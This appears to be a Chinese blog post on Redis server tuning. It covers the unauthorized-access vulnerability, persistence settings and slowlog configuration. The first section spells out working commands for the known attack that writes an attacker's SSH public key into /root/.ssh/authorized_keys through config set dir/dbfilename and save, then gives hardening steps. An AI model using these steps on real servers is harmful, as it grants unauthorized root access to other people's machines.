redis--服务器优化

一、Redis 未授权访问漏洞

1. 漏洞原理

Redis 默认绑定0.0.0.0:6379,监听所有网卡;没设置密码 ,任何人可直接连接 Redis;攻击者利用config set动态修改配置、修改 RDB 保存路径与文件名,把 ssh 公钥写入/root/.ssh/authorized_keys,实现 ssh 免密登录服务器。

漏洞三核心成因

  1. Redis 未设置访问密码
  2. 可使用config set动态修改配置
  3. Redis 使用 root 账号启动,有写入 root 家目录权限

2. 漏洞利用步骤

  1. 攻击者本地生成 ssh 公私钥:ssh-keygen -t rsa

  2. 将公钥存入 foo.txt 文件

  3. 连接目标 Redis,把公钥 set 存入 Redis 的 key

    cat foo.txt | redis-cli -h 目标IP -x set crackit
    redis-cli -h 目标IP

    修改RDB保存目录到root的ssh目录

    config set dir /root/.ssh/

    修改RDB文件名为ssh信任公钥文件

    config set dbfilename "authorized_keys"

    执行save,触发RDB持久化,写入磁盘

    save

  4. 攻击者使用私钥直接 ssh 登录目标机器

3. 安全加固方案

  1. 设置 Redis 访问密码(requirepass)
  2. 重命名高危命令:keys / flushall / flushdb / config set,用rename-command禁用 / 改名
  3. 修改 bind 绑定:绑定内网网卡,禁止0.0.0.0暴露公网
  4. 防火墙限制 IP 访问,只允许内网服务器 IP 访问 6379 端口
  5. 禁止 root 用户启动 Redis,使用普通业务账号
  6. 修改默认 6379 端口,降低被扫描概率

二、Redis 持久化配置优化

持久化带来磁盘 IO 开销,不是所有场景都要开启

✅ 持久化建议

  1. 纯缓存场景:尽量关闭持久化,宕机数据可从数据库重新加载
  2. 数据保存场景:关闭 RDB,优先使用 AOF
  3. 备份策略:在 slave 从节点定时执行 RDB 做数据备份,不影响主节点性能
  4. AOF 优化:设置合理 rewrite 阈值,避免频繁bgrewriteaof
  5. no-appendfsync-on-rewrite = yes:AOF 重写期间不执行 fsync,防止磁盘阻塞

✅ 部署硬件建议

  1. 服务器预留足够内存,应对 fork 和 AOF rewrite 的内存开销
  2. 单个 Redis 实例内存不要过大(推荐 4G/8G):加快 fork 速度,降低主从同步、集群迁移压力
  3. 不和 CPU 密集型应用部署同一台机器
  4. 不和高磁盘 IO 服务(MySQL、MQ)混部

AOF 流程简要:主线程写 AOF 缓冲区 → 同步线程刷盘;判断距离上次 fsync 时间,超过 2 秒会阻塞主线程。


三、Redis 慢查询

1. 定义

慢查询:Redis 服务端执行耗时超过阈值的命令

⚠️注意:统计的时间只统计服务端执行命令时间,不含网络传输时间。

2. 核心配置

表格

配置项 含义 单位 默认 推荐值
slowlog-log-slower-than 慢查询阈值 微秒 10000(10ms) 1000(1ms)
slowlog-max-len 慢查询日志队列最大长度 - 128 1000

修改命令:

复制代码
config set slowlog-log-slower-than 1000
config set slowlog-max-len 1000

3. 慢查询日志操作命令

  • slowlog len:查看慢日志总条数
  • slowlog get [n]:读取 n 条慢查询记录
  • slowlog reset:清空慢查询队列

4. slowlog 返回字段解读

  1. 日志编号 ID
  2. 日志记录的时间戳
  3. 命令执行耗时(微秒)
  4. 执行的 Redis 命令 + 参数
  5. 客户端 IP: 端口
  6. 客户端名称
相关推荐
用户0942485680312 小时前
第19章:库存扣减与秒杀系统:Redis 扛峰值流量
redis·架构·源码
爱写Bug的浮游12 小时前
RTA高频请求下的Redis短缓存工程闭环
redis
没有气的汽水12 小时前
redis加了个分片,把线上写挂了一个多小时
redis
xixiaoyunya13 小时前
Redis缓存三大问题实战:穿透、击穿、雪崩,我用一个电商秒杀场景讲清楚
数据库·redis·缓存
鶴哥只手遮天14 小时前
《Redis 8.10.3 深度剖析》系列 · 第 1 章·全景与源码地图:版本谱系、构建体系、全局状态与启动链路
redis·后端·开源
70后写java的老码农15 小时前
docker-compose 部署 Redis Stack Server 6.2.6-v19
redis·docker
小南家的青蛙16 小时前
Redis监控与告警体系化实践
redis·监控方案·告警方案
我不会起名字32216 小时前
Redis 从 0 到 1(二十七):JSON 体积是 Protobuf 的 3.7 倍?3 种序列化的 Go 基准测试
redis·go·序列化·protobuf·messagepack
我不会起名字32216 小时前
Redis 从 0 到 1(二十六):INFO memory 里 8 个关键数字——内存构成与容量规划
redis·容量规划·内存·info·listpack